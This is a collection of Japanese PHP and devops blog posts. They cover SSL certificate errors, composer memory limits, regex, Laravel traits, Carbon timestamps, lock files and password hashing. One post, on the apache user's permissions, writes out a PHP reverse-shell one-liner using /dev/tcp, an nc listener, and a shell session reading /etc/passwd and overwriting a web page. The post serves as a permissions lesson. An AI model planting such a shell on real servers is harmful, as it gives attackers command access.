可変長引数や引数アンパックと組み合わせるとややこしいので、それは単純に避けたほうがよいでしょう。


  1. たぶん1票たりとも影響してない。 

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS SDK のSSL証明書エラーが出た場合【Windows10】

  • よくある、実行環境にSSL証明書がない場合に発生するエラー
cURL error 60: SSL certificate problem: unable to get local issuer certificate (see https://curl.haxx.se/libcurl/c/libcurl-errors.html) in xxx
cURL error 77: error setting certificate verify locations:
  CAfile: xxx
  CApath: none (see https://curl.haxx.se/libcurl/c/libcurl-errors.html) in 
xxx on line 195
  • 解決策
    cURLサイトから証明書をダウンロード出来るらしい
    https://curl.haxx.se/docs/caextract.html
    サイト内の cacert.pem というリンクからダウンロード出来る
    ダウンロードしたら適当な場所に配置して、php.iniの設定
openssl.cafile='C:\tools\php\extras\ssl\cacert.pem'

apacheとかnginxならサービスを再起動
これで完了

参考: https://docs.aws.amazon.com/ja_jp/sdk-for-php/v3/developer-guide/faq.html

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

composer update でメモリオーバーする場合の対策

composer updatecomposer require した時に使用可能なメモリを超えるとこのようなエラーが発生します。

$ composer update
[13-Jul-2020 10:10:03 UTC] PHP Fatal error:  Allowed memory size of 2097152 bytes exhausted (tried to allocate 1974272 bytes) in Unknown on line 0

対策1. メモリ制限を外す

$ php -d memory_limit=-1 $(which composer) update

-d オプションは、
php.ini ディレクティブを個別に指定する事ができます。

php.ini を書き換えるのは手間なのでコマンドオプションとして -1 を指定して一時的にメモリの制限を設けないようにします。

php コマンドで実行するため、実行したいファイル名を絶対パス、または相対パスで指定する必要があります。
$(which composer) でComposerまでの絶対パスを指定してます。

対策2. スワップファイルを作る

対策1でも解決しない場合、物理的にメモリが足りない可能性があります。(AWSのマイクロインスタンス等)
Swapファイルの作り方は下記のように作成します。

スワップとは

$ sudo /bin/dd if=/dev/zero of=/var/swap bs=1M count=1024
$ sudo /sbin/mkswap /var/swap
$ sudo /sbin/swapon /var/swap

1GB分のSwapファイルを作成しています。

$ php -d memory_limit=-1 $(which composer) update

Swapファイルは作成したままでも構いませんが、今度はディスク容量を1GB分使用してしまいます。
Swapファイルを削除する場合は下記のコマンドを実行します。

$ sudo swapoff /var/swap
$ sudo rm /var/swap

参考

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Preg_match関数

こちらを参考に
正規表現によるマッチング

<?php

  $name = 'Name';
  $nickname = 'nickname';

  if (preg_match("/$name/i", $nickname)) {
    echo "OK";
  } else {
    echo "NO";
  } 

?>

$nameは$nicknameの中に含まれるのか
検証

$nameの後ろのiは大文字小文字を区別しない。

実行結果は

OK

<?php

  $a = "Neverland Of Promise";
  $b = "neverland";

  if (preg_match("/\b$b\b/i", $a)) {
    echo $a . "\n";
  } else {
    echo "NG" . "\n";
  }
?>

\bで囲むとその単語のみマッチする
つまりこの例だとneverだけの場合反応するが、neverlandは反応しない

実行結果

Neverland Of Promise

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravelフレームワーク内で使われているTrait一覧[laravel/framework 7.x]

はじめに

PHPのtraitの使いどころがいまいちわからないので、
Laravelフレームワークのコードを読んで勉強しよう!というモチベーションで一覧を作りました。

trait一覧

合計102個のtraitが使われていました。

larvel/framework 7.xには 102個のTraitが使われてました。

trait名 パス
HandlesAuthorization src/Illuminate/Auth/Access/HandlesAuthorization.php
Authenticatable src/Illuminate/Auth/Authenticatable.php
CreatesUserProviders src/Illuminate/Auth/CreatesUserProviders.php
GuardHelpers src/Illuminate/Auth/GuardHelpers.php
MustVerifyEmail src/Illuminate/Auth/MustVerifyEmail.php
CanResetPassword src/Illuminate/Auth/Passwords/CanResetPassword.php
UsePusherChannelConventions src/Illuminate/Broadcasting/Broadcasters/UsePusherChannelConventions.php
InteractsWithSockets src/Illuminate/Broadcasting/InteractsWithSockets.php
Queueable src/Illuminate/Bus/Queueable.php
RetrievesMultipleKeys src/Illuminate/Cache/RetrievesMultipleKeys.php
CallsCommands src/Illuminate/Console/Concerns/CallsCommands.php
HasParameters src/Illuminate/Console/Concerns/HasParameters.php
InteractsWithIO src/Illuminate/Console/Concerns/InteractsWithIO.php
ConfirmableTrait src/Illuminate/Console/ConfirmableTrait.php
ManagesFrequencies src/Illuminate/Console/Scheduling/ManagesFrequencies.php
BuildsQueries src/Illuminate/Database/Concerns/BuildsQueries.php
ManagesTransactions src/Illuminate/Database/Concerns/ManagesTransactions.php
DetectsConcurrencyErrors src/Illuminate/Database/DetectsConcurrencyErrors.php
DetectsLostConnections src/Illuminate/Database/DetectsLostConnections.php
GuardsAttributes src/Illuminate/Database/Eloquent/Concerns/GuardsAttributes.php
HasAttributes src/Illuminate/Database/Eloquent/Concerns/HasAttributes.php
HasEvents src/Illuminate/Database/Eloquent/Concerns/HasEvents.php
HasGlobalScopes src/Illuminate/Database/Eloquent/Concerns/HasGlobalScopes.php
HasRelationships src/Illuminate/Database/Eloquent/Concerns/HasRelationships.php
HasTimestamps src/Illuminate/Database/Eloquent/Concerns/HasTimestamps.php
HidesAttributes src/Illuminate/Database/Eloquent/Concerns/HidesAttributes.php
QueriesRelationships src/Illuminate/Database/Eloquent/Concerns/QueriesRelationships.php
AsPivot src/Illuminate/Database/Eloquent/Relations/Concerns/AsPivot.php
InteractsWithPivotTable src/Illuminate/Database/Eloquent/Relations/Concerns/InteractsWithPivotTable.php
SupportsDefaultModels src/Illuminate/Database/Eloquent/Relations/Concerns/SupportsDefaultModels.php
SoftDeletes src/Illuminate/Database/Eloquent/SoftDeletes.php
Authorizable src/Illuminate/Foundation/Auth/Access/Authorizable.php
AuthorizesRequests src/Illuminate/Foundation/Auth/Access/AuthorizesRequests.php
Dispatchable src/Illuminate/Foundation/Bus/Dispatchable.php
DispatchesJobs src/Illuminate/Foundation/Bus/DispatchesJobs.php
Dispatchable src/Illuminate/Foundation/Events/Dispatchable.php
InteractsWithAuthentication src/Illuminate/Foundation/Testing/Concerns/InteractsWithAuthentication.php
InteractsWithConsole src/Illuminate/Foundation/Testing/Concerns/InteractsWithConsole.php
InteractsWithContainer src/Illuminate/Foundation/Testing/Concerns/InteractsWithContainer.php
InteractsWithDatabase src/Illuminate/Foundation/Testing/Concerns/InteractsWithDatabase.php
InteractsWithExceptionHandling src/Illuminate/Foundation/Testing/Concerns/InteractsWithExceptionHandling.php
InteractsWithRedis src/Illuminate/Foundation/Testing/Concerns/InteractsWithRedis.php
InteractsWithSession src/Illuminate/Foundation/Testing/Concerns/InteractsWithSession.php
MakesHttpRequests src/Illuminate/Foundation/Testing/Concerns/MakesHttpRequests.php
MocksApplicationServices src/Illuminate/Foundation/Testing/Concerns/MocksApplicationServices.php
DatabaseMigrations src/Illuminate/Foundation/Testing/DatabaseMigrations.php
DatabaseTransactions src/Illuminate/Foundation/Testing/DatabaseTransactions.php
RefreshDatabase src/Illuminate/Foundation/Testing/RefreshDatabase.php
WithFaker src/Illuminate/Foundation/Testing/WithFaker.php
WithoutEvents src/Illuminate/Foundation/Testing/WithoutEvents.php
WithoutMiddleware src/Illuminate/Foundation/Testing/WithoutMiddleware.php
ValidatesRequests src/Illuminate/Foundation/Validation/ValidatesRequests.php
InteractsWithContentTypes src/Illuminate/Http/Concerns/InteractsWithContentTypes.php
InteractsWithFlashData src/Illuminate/Http/Concerns/InteractsWithFlashData.php
InteractsWithInput src/Illuminate/Http/Concerns/InteractsWithInput.php
FileHelpers src/Illuminate/Http/FileHelpers.php
CollectsResources src/Illuminate/Http/Resources/CollectsResources.php
ConditionallyLoadsAttributes src/Illuminate/Http/Resources/ConditionallyLoadsAttributes.php
DelegatesToResource src/Illuminate/Http/Resources/DelegatesToResource.php
ResponseTrait src/Illuminate/Http/ResponseTrait.php
ParsesLogConfiguration src/Illuminate/Log/ParsesLogConfiguration.php
HasDatabaseNotifications src/Illuminate/Notifications/HasDatabaseNotifications.php
Notifiable src/Illuminate/Notifications/Notifiable.php
RoutesNotifications src/Illuminate/Notifications/RoutesNotifications.php
InteractsWithQueue src/Illuminate/Queue/InteractsWithQueue.php
SerializesAndRestoresModelIdentifiers src/Illuminate/Queue/SerializesAndRestoresModelIdentifiers.php
SerializesModels src/Illuminate/Queue/SerializesModels.php
RouteDependencyResolverTrait src/Illuminate/Routing/RouteDependencyResolverTrait.php
InteractsWithTime src/Illuminate/Support/InteractsWithTime.php
CapsuleManagerTrait src/Illuminate/Support/Traits/CapsuleManagerTrait.php
EnumeratesValues src/Illuminate/Support/Traits/EnumeratesValues.php
ForwardsCalls src/Illuminate/Support/Traits/ForwardsCalls.php
Localizable src/Illuminate/Support/Traits/Localizable.php
Macroable src/Illuminate/Support/Traits/Macroable.php
ReflectsClosures src/Illuminate/Support/Traits/ReflectsClosures.php
Tappable src/Illuminate/Support/Traits/Tappable.php
FormatsMessages src/Illuminate/Validation/Concerns/FormatsMessages.php
ReplacesAttributes src/Illuminate/Validation/Concerns/ReplacesAttributes.php
ValidatesAttributes src/Illuminate/Validation/Concerns/ValidatesAttributes.php
DatabaseRule src/Illuminate/Validation/Rules/DatabaseRule.php
ValidatesWhenResolvedTrait src/Illuminate/Validation/ValidatesWhenResolvedTrait.php
CompilesAuthorizations src/Illuminate/View/Compilers/Concerns/CompilesAuthorizations.php
CompilesComments src/Illuminate/View/Compilers/Concerns/CompilesComments.php
CompilesComponents src/Illuminate/View/Compilers/Concerns/CompilesComponents.php
CompilesConditionals src/Illuminate/View/Compilers/Concerns/CompilesConditionals.php
CompilesEchos src/Illuminate/View/Compilers/Concerns/CompilesEchos.php
CompilesErrors src/Illuminate/View/Compilers/Concerns/CompilesErrors.php
CompilesHelpers src/Illuminate/View/Compilers/Concerns/CompilesHelpers.php
CompilesIncludes src/Illuminate/View/Compilers/Concerns/CompilesIncludes.php
CompilesInjections src/Illuminate/View/Compilers/Concerns/CompilesInjections.php
CompilesJson src/Illuminate/View/Compilers/Concerns/CompilesJson.php
CompilesLayouts src/Illuminate/View/Compilers/Concerns/CompilesLayouts.php
CompilesLoops src/Illuminate/View/Compilers/Concerns/CompilesLoops.php
CompilesRawPhp src/Illuminate/View/Compilers/Concerns/CompilesRawPhp.php
CompilesStacks src/Illuminate/View/Compilers/Concerns/CompilesStacks.php
CompilesTranslations src/Illuminate/View/Compilers/Concerns/CompilesTranslations.php
ManagesComponents src/Illuminate/View/Concerns/ManagesComponents.php
ManagesEvents src/Illuminate/View/Concerns/ManagesEvents.php
ManagesLayouts src/Illuminate/View/Concerns/ManagesLayouts.php
ManagesLoops src/Illuminate/View/Concerns/ManagesLoops.php
ManagesStacks src/Illuminate/View/Concerns/ManagesStacks.php
ManagesTranslations src/Illuminate/View/Concerns/ManagesTranslations.php
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

タイムスタンプをミリ秒単位でISO8601表記に変換する

意外と手こずったので忘備録がわりにQiitaに残します。PHPで日時計算するには、Carbonが定石なので、Carbonを入れていることを前提とします。

やり方

タイムスタンプを秒単位でISO8601形式にするためにCarbon::toIso8601String()が準備されていますが、秒単位で固定のメソッドです。似たようなメソッドでUTC固定のCarbon::toIso8601ZuluString($unitPresion='second')は引数を与えることによってミリ秒単位で変換できますが。なので下記のような記述になります。

<?php

use Carbon\Carbon;

require 'vendor/autoload.php';

// ISO8601 形式
$iso8601 = Carbon::createFromTimestampMs($timestamp, 'Asia/Tokyo')->toIso8601String();

// ISO8601 形式(ミリ秒)
$iso8601m = Carbon::createFromTimestampMs($timestamp, 'Asia/Tokyo')
    ->rawFormat('Y-m-d\T'.Carbon::getTimeFormatByPrecision('milliseconds').'P');

echo $timestamp;
echo $iso8601;
echo $iso8601m;

結果

1594618689760
2020-07-13T14:38:09+09:00
2020-07-13T14:38:09.760+09:00

全然スマートな方法じゃないんですけど、多分一番罠を踏み抜かないやり方かなあと思います。
Carbon::getTimeFormatByPrecisionの引数は

  • "minute"
  • "second"
  • "millisecond"
  • "microsecond"

が渡せるようです。デフォルト値はsecondです。

参照:https://github.com/briannesbitt/Carbon/blob/9a6737a39deb3cbf2531e1b5f3aa4714a5212b23/src/Carbon/CarbonInterface.php#L2162-L2169

PHPに対する愚痴

そもそもISO8601形式のフォーマットってDateTime::ISO8601でなくDateTime::ATOMで定義されてるってどういう経緯なんですかね?便利どころかすごく紛らわしいと思うんですけど、なぜこういう仕様なのか?不思議です。で、PHP7系からミリ秒対応されたと聞いたんですが、DateTime::ATOMはミリ秒ないし、ミリ秒のあるフォーマットは追加されてなさそうだし、なんか不親切に感じます。

軽微だしCarbonにあとでpull requestでも投げてみるかな…

参考

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Apacheの気持ちになってみる方法 ~ apache userでloginしてみる2つの方法

何の記事

ファイルアップローダを作るとよく起こる permission ありませんエラー。

SEになって最初の頃、これがどういうことなのかわからなかった。
apacheになれれば、書き込めない状態がどうなってるかを理解できるのに。
そう思っていたのでこの記事を書きました。

*この記事には良くない使い方ができてしまうことが書いてあります。利用は自分だけの環境で。悪用しないでください。

<1> apache userになる方法 Linux編

普通にapacheをinstallするとlinux上にapacheユーザが作られます。
しかし、apacheユーザとしてのloginはセキュリティ的に禁止されています(解除することはできる)

[root@my.example.com:/var/www/html#] su apache
This account is currently not available.

理由はだいたい linux の nologin を使ってloginできないようにしています。

#] cat /etc/passwd | grep apache
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin

または /etc/nologin がある。

そこらへんいじれば無理やり login することも可能です。↓は /etc/passwd でlogin shellをnologinにされてる場合の回避方法。

root@example.com:/# sudo -u apache /bin/bash
apache@example.com:/$   <----ユーザが変わった

ここらへんは linux nologin とかでぐぐればわかります。

ちなみにこのapacheユーザの環境変数には、sudo前のユーザの環境変数が混ざっています

apache@my.example.com:/tmp$ env | sort
...
MAIL=/var/spool/mail/root
SUDO_USER=root
USER=apache
USERNAME=apache
...

apacheになったのにrootの環境変数が残っているのがわかります。

sudoって、変身前のユーザの環境変数を env_keep という設定である程度引き継ぐことができるんですね。

参考 https://qiita.com/chroju/items/375582799acd3c5137c7

<2> apache userになる方法 phpからapacheになりきる編

さっきのはlinux的にapache userとして login しましたが、phpファイル経由でapacheユーザになってみるということをしてみます。

local userとphpファイルが使えるとこんなこともできるという話を始めます。

*悪用しないでください
*決して公開サーバで試さないでください
*終わったら作ったファイルは消してください

作業はすべて webサーバ上で行います。
php-reverse-shellというツールをwebサーバの公開ディレクトリに置いておきます。

[root@my.example.com:/var/www/html#] wget https://gist.githubusercontent.com/rshipp/eee36684db07d234c1cc/raw/9907b98ec63c6ad9bf5f39d14d07d9a3765f9079/shell.php

[root@my.example.com:/var/www/html#] ls shell.php
shell.php

phpファイルの中身はたった1行→ https://gist.github.com/rshipp/eee36684db07d234c1cc

IPアドレス(10.0.0.10)の部分を あなたのwebサーバのIPアドレスに変えます。

vim shell.php

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

shellが来たら受け取れるように準備します。下記コマンドを叩くと動きが止まりますがそれで成功しています。

[root@my.example.com:/var/www/html#] nc -lvp 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

ブラウザからshell.phpにアクセスしてみます。

http://my.example.com/shell.php

これの意味するところは、phpを動かすapache userの権限でphp fileを実行するということです。

別のshellがあれば、curl/wgetでもいいです。

# ncを叩いたのとは違うshell
[root@my.example.com:/var/www/html#] curl localhost/shell.php

アクセスするとbashが起動する

Ncat: Connection from 10.1.2.3.
Ncat: Connection from 10.1.2.3:40678.
bash: no job control in this shell
bash-4.2$

Viola!
nc -lvp 1234P で待っていたシェルに動きがありました。何が起こったのか確認してみましょう。

自分がapacheになっています。

bash-4.2$ whoami
whoami
apache

groupもapacheです。

bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)

自分はどこにいるの? 引き続きwebサーバの中です。

bash-4.2$ hostname
hostname
my.example.com

サーバのIPがわかります。

bash-4.2$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP>
    inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
    inet 10.1.2.3/21 brd 10.1.0.0 scope global dynamic eth0

カレントディレクトリはここです。これはapacheのDocument_Rootを見ているのだろうか?

bash-4.2$ pwd
pwd
/var/www/html

ファイルも見れます。

bash-4.2$ ls -l
ls -l
total 1128
-rw-r--r-- 1 apache apache       2 Mar 29  2019 index.html
-rw-r--r-- 1 root   root        75 Jul 13 10:42 shell.php

ownerがapache or 書き込み権限があるファイルは書き換えられます。

bash-4.2$ echo ZZZZZZZZZZZZZZ > index.html

bash-4.2$ cat index.html
ZZZZZZZZZZZZZZ

/etc/passwdも見れます。

bash-4.2$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:Syste
~

/etc/shadow(linux userのパスワードが保存されている) は見れません

bash-4.2$ cat /etc/shadow
cat /etc/shadow
cat: /etc/shadow: Permission denied

当然ながら /etc/shadow を書き換える権限はありません

bash-4.2$ echo 1 > /etc/shadow
echo 1 > /etc/shadow
bash: /etc/shadow: Permission denied

sudoはできません

bash-4.2$ sudo yum install sl
sudo yum install sl

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

sudo: no tty present and no askpass program specified

ここからsudoを叩けたり、rootになれたりするのが脆弱性と呼ばれるものです。

env を見てみましょう。

bash-4.2$ env
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
_=/usr/bin/env
PWD=/var/www/html
LANG=C
NOTIFY_SOCKET=/run/systemd/notify
SHLVL=3
_=/usr/bin/env

めっちゃシンプルです。

一通りデバッグが終わったら、 shell.php必ず削除 しておきましょう。

まとめ

apacheユーザはコマンドを叩けるし、非公開なファイルを見れることがわかったと思います。

たった1行のphpだけで、sudoも、 /etc/passwd/etc/sudoers の書き換えもせず、ログインできる状態になってしまいました。

適切なセキュリティを常に意識しておきましょう。あれ、趣旨が変わっている。

おわり。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Breadcrumb NavXT】アクションフックによるパンくずリストのタイトル・URLの変更

※この記事では、Breadcrumb NavXT5.5.1を使用しています。 パンくずリストのカテゴリーのアーカイブページのURLを固定ページのURLに変更したいとの要望を受けたので、ちょっと調べて書いてみました。(というか、2年前にも同じ依頼があったので、公開できるように書き直しました。) 前提条件として、該当するカテゴリーのアーカイブページは使用しません。(表に出せない) 参考URL http://notnil-creative.com/blog/archives/981 タイトルのみ変更の場合 function.php <?php function my_filter_breadcrumbs($bcnObj) { if ( count($bcnObj->trail) > 0 ) { for ( $i = 0; $i < count($bcnObj->trail); $i++ ) { if ( '変更前のテキスト' == $bcnObj->trail[$i]->get_title() ) { $bcnObj->trail[$i]->set_template('変更後のテキスト'); } } } return $bcnObj; } add_action('bcn_after_fill', 'my_filter_breadcrumbs'); URLも変更する場合 function.php <?php function my_filter_breadcrumbs($bcnObj) { $home_url = get_home_url( null, '/' ); $url = $home_url . "/" . "変更したいURLのホームURL以下のアドレス"; $new_url ='<a title="%ftitle%へ移動" href="'. $url .'" class="%type%">変更後のタイトル</a>'; if ( count($bcnObj->trail) > 0 ) { for ( $i = 0; $i < count($bcnObj->trail); $i++ ) { if ( '変更前のタイトル' == $bcnObj->trail[$i]->get_title() ) { $bcnObj->trail[$i]->set_template($new_url); } } } return $bcnObj; } } add_action('bcn_after_fill', 'my_filter_breadcrumbs');
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

そろそろlockファイルを理解するための最初のページ【composer.lock/package-lock.json】

.lockファイルって邪魔だよね。って思っている人いたら校舎裏来てください。優しく解説します。

こんにちは! @ykhirao です。最近ジョインさせていただいた案件で composer.lock のバージョンが本番が一番新しくて、ローカルが一番古い素敵な状況を発見しました :relaxed:

本番環境でSSHして composer update かけたんだなあーー。そっかーーー、バグ起きたらどないすんねん、。。。。。。

というのが私の感想で、実際にnpmパッケージを使ってバグを再現しながら
ゆっくり解説していこうと思います。どうぞ最後までよろしくお願いします。!!!

このQiitaを呼んで得ること

  • あーー、ほんとだ。バグが入る可能性があるんだ!
  • lockファイルはちゃんとコミットするね!

というお気持ちになれると思います。

このQiitaで解説しないこと

  • 詳しい依存関係の解消法
  • packageの公開の仕方
  • むずかしいはなし

です!

さて時系列を見てみよう!

こんな事故が起こる可能性がありますよって話をします。

時系列 OSSのmypackage.js ローカル 本番サーバー
1日目 v1.0.0公開 動いている 動いている
2日目 ローカルでmypackage.jsをinstall
動作確認OK、明後日本番に適応させる
3日目 v1.0.1公開 バグあり
4日目 本番サーバーで新しいコードを反映、install。本番が動かなくなってしまった。ぴえん
もちろんソースコードはローカルと同じだし、ローカルで動いていたのになんで…?:flushed:
5日目 v1.0.2公開 バグ修正された
6日目 v1.0.2を適応ローカル確認OK
今度はlockファイルを本番にアップロードする予定!
7日目 package-lock.jsonを使ってinstallする!今度は動いた!

npmでパッケージを作りながら説明する

OSSっぽい動作をするpackageフォルダと、ローカル環境と本番環境っぽいフォルダを作る。

yk@yk ~ % cd qiita 
yk@yk qiita % mkdir package
yk@yk qiita % mkdir local
yk@yk qiita % mkdir production
yk@yk qiita % ll
total 0
drwxr-xr-x   5 yk  staff   160  7 11 00:34 .
drwxr-xr-x+ 83 yk  staff  2656  7 11 00:33 ..
drwxr-xr-x   2 yk  staff    64  7 11 00:34 local
drwxr-xr-x   2 yk  staff    64  7 11 00:34 package
drwxr-xr-x   2 yk  staff    64  7 11 00:34 production
yk@yk qiita % cd package 
yk@yk package % npm init -y
Wrote to /Users/yk/qiita/package/package.json:

{
  "name": "package",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC"
}


yk@yk package % vim package.json
yk@yk package % vim index.js
yk@yk package % npm publish --access=public
npm notice created a lockfile as package-lock.json. You should commit this file.
npm WARN package@1.0.0 No description
npm WARN package@1.0.0 No repository field.

up to date in 0.429s
found 0 vulnerabilities

/Users/yk/.nodebrew/node/v13.8.0/lib/node_modules/package -> /Users/yk/qiita/package

yk@yk package % cat index.js 
const text = "sample"

module.exports = text;

index.jsにただただ "sample" という文字列を返す動作を記述して、パッケージとして認識させる。
@y_hirao/mypackage というパッケージをnpmに公開した。

localフォルダでいろいろゴリゴリしてみる。

yk@yk local % npm init -y
Wrote to /Users/yk/qiita/local/package.json:

{
  "name": "local",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "@y_hirao/mypackage": "^1.0.0"
  },
  "devDependencies": {},
  "description": ""
}


yk@yk local % cat index.js 
const text = require("@y_hirao/mypackage");
console.log(text)

yk@yk local % node index.js 
sample

sampleという文字列が返却されました。!!!!!!!!!

このときpackage.jsonを見ると ^ キャレット指定なのでバージョンアップは 1.系 は守られるけど残りはすべてアップデートされます。

  "dependencies": {
    "@y_hirao/mypackage": "^1.0.0"
  },

さてパッケージの方を更新します。 v1.0.2 にしましょう!

yk@yk package % cat package.json 
{
  "name": "@y_hirao/mypackage",
  "version": "1.0.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC"
}

yk@yk package % cat index.js    
const text = "sample2"
throw 'エラーを出したい気分';

module.exports = text;
yk@yk package % npm publish   

このパッケージをそのまま使うとthrowされます。

さてローカルでinstallしてみましょう!

yk@yk local % npm install
npm WARN local@1.0.0 No description
npm WARN local@1.0.0 No repository field.

audited 1 package in 0.411s
found 0 vulnerabilities

yk@yk

あれ、エラーが起きませんね。
これは 一度ダウンロードしたパッケージはlockファイルというものでバージョン指定されているので、新しく勝手にバージョンがあがったりしないのです。

さてローカルから本番環境に package.json と index.js をコピーしてnpm installして動かしてみましょう!

yk@yk production % cp ../local/package.json package.json
yk@yk production % cp ../local/index.js index.js        
yk@yk production % npm i
npm notice created a lockfile as package-lock.json. You should commit this file.
npm WARN local@1.0.0 No description
npm WARN local@1.0.0 No repository field.

added 1 package and audited 1 package in 2.811s
found 0 vulnerabilities

yk@yk production % node index.js 

/Users/yk/qiita/production/node_modules/@y_hirao/mypackage/index.js:2
throw 'エラーを出したい気分';
^
エラーを出したい気分
(Use `node --trace-uncaught ...` to show where the exception was thrown)

さて、、、本番環境でinstallを走らせるとエラーがおきました。。。。

npm install したときに package-lock.json がないと package.json を使って ^1.0.0 が指定されているので 1.系で一番新しいもの つまり今回だとバグが混入している v1.0.2 がインストールされたことになります。

lockファイルを見てみましょう。

yk@yk production % cat package-lock.json 
{
  "name": "local",
  "version": "1.0.0",
  "lockfileVersion": 1,
  "requires": true,
  "dependencies": {
    "@y_hirao/mypackage": {
      "version": "1.0.2",
      "resolved": "https://registry.npmjs.org/@y_hirao/mypackage/-/mypackage-1.0.2.tgz",
      "integrity": "sha512-W2RoQsC1FVnHxximVJMovEvfl/3WNI95EjGxPbMlmyuDZ+0SImS76dOII/0AiP4cVVjXZUbFzaLs9h6l8TrrFQ=="
    }
  }
}

まさしく v1.0.2 が指定されていますね!localだともちろん最初に npm install したときに最新だった @y_hirao/mypackagev1.0.0 が使われています。

yk@yk local % cat package-lock.json 
{
  "name": "local",
  "version": "1.0.0",
  "lockfileVersion": 1,
  "requires": true,
  "dependencies": {
    "@y_hirao/mypackage": {
      "version": "1.0.0",
      "resolved": "https://registry.npmjs.org/@y_hirao/mypackage/-/mypackage-1.0.0.tgz",
      "integrity": "sha512-auQ5grIpWd0IRkMR3rn6xRjIhGZqBu/Q/g1lDkS5AWakAysrZ3iQAIRngbgBGBAFlPZxQ/LCVYdAW+3VLxeSEw=="
    }
  }
}

更にインストールされているフォルダを確認しても

yk@yk production % cat node_modules/@y_hirao/mypackage/index.js
const text = "sample2"
throw 'エラーを出したい気分';

module.exports = text;
yk@yk production % 

どう見てもエラーが起きそうです。

package-lock.jsonをlocalからコピーしてきましょう。

yk@yk production % cp ../local/package-lock.json package-lock.json
yk@yk production % npm i
npm WARN local@1.0.0 No description
npm WARN local@1.0.0 No repository field.

updated 1 package and audited 1 package in 0.45s
found 0 vulnerabilities

yk@yk production % cat node_modules/@y_hirao/mypackage/index.js
const text = "sample"

module.exports = text;
yk@yk production % node index.js 
sample
yk@yk production % 

lockファイルを持ってきてインストールするだけで、エラーが起きなくなりました! :clap::clap::clap::clap::clap:

まとめ

本番環境で lockファイルごと更新する composer update とかlockファイルの存在しない状態での npm install とか、そんなことはやめましょう。ってことを主張したいです!!!!!

ローカルでしっかり確認してlockファイルを作り、それを本番にアップロードして、lockファイルの状態で依存パッケージをインストールしちゃってください。。 :pray:

インストールする時期によって最新のバージョンが使われるので、もしそのバージョンにバグがあるのなら本番死んじゃいますよ。。

終わりに

新しい会社に入って色々根本的に変えたいところがあるので、最近はdevopsの領域をごりごり触らせていただいてます。環境構築、開発フローの策定とかもろもろやらせてもらっているのでかなり楽しいです :muscle:

読んでいただきありがとうございました。lockファイル入門したい方、事故りそうな不安があるかたは同僚と一緒に「弊社のパッケージ依存関係の運用どうする…?」と一度話し合ってみてください。

ありがとうございました。

.

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHPでログイン機能を実装する

PHPでログイン機能を実装する

やっとこさ機能を実装できたので、概要をまとめてみる。
今回作成したのは、emailとpasswordだけの機能。
emailで検索して、フォームに入力したpasswordとDBにハッシュ化されて保存されたpasswordと比較(password_verify)する。

つまづいて長引いた内容について。

パスワードのhash化について

そもそもパスワードのhash化ってなんじゃいということについて。

パスワードをそのままDBに保存すると危険である。
ということで、password_hashを使って、暗号化する必要がある。

ここで大事なのは、
1.password_hashは不可逆である(元の形に戻せない)

2.パスワードのハッシュ化の仕方
pasword_hash(暗号化したい文字列, PASSWORD_DEFAULT)

例えばフォームにpasswordというnameで入力したパスワードをハッシュ化したい場合は、
pasword_hash($_POST['password'], PASSWORD_DEFAULT)
こんな感じ。

password_verify()の使い方

password_verify()の使い方だけど、
password_verify(ハッシュ化されてない文字列, ハッシュ化された文字列)
で比較を行う。

この部分の使い方がわからなくて、どちらもハッシュ化された文字列で比較していた・・・。

実際にはこういう風に使う。

if (password_verify($login_password, $member['password'])) {
echo 'ログインしました。';
} else {
echo 'メールアドレスもしくはパスワードが間違っています。';
}

でもこんなのって分からない。$login_passwordの変数どこからきたの、$member['password']って何なのってなってしまう。
ので、password_verifyの機能を確認するためには以下の構文を使ってみる。

$pass = '111111';
$hash = password_hash($pass, PASSWORD_DEFAULT);
if(password_verify($pass, $hash)){
    echo '成功';
}else{
    echo '失敗';
}

これで成功と表示されれば、password_hash()がどのように動いてるかなんとなくイメージがつかめると思う。

以上です。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

VagrantでSymfony 5 の環境を作成してみた(ubuntu 20.04、nginx、php 7.4、mysql 8)

自分で開発環境を作ってみたいと思ったので、ググりながら勉強しながら作成した内容です。間違いなどありましたら教えていただけるとありがたいです。

また、公式によりますとVagrantでsymfonyの環境を作成するには、laravelのhomesteadの環境で作成するのが簡単なようです
Using Symfony with Homestead/Vagrant (Symfony Docs)


参考


試したバージョン

  • Vagrant 2.2.9
  • VirtualBox Version 6.0.22 r137980 (Qt5.6.3)

1. ubuntuにsshするまで

1-1. ubuntuのboxを追加

Enter your choice:と聞かれるので3を選択する

$ vagrant box add bento/ubuntu-20.04
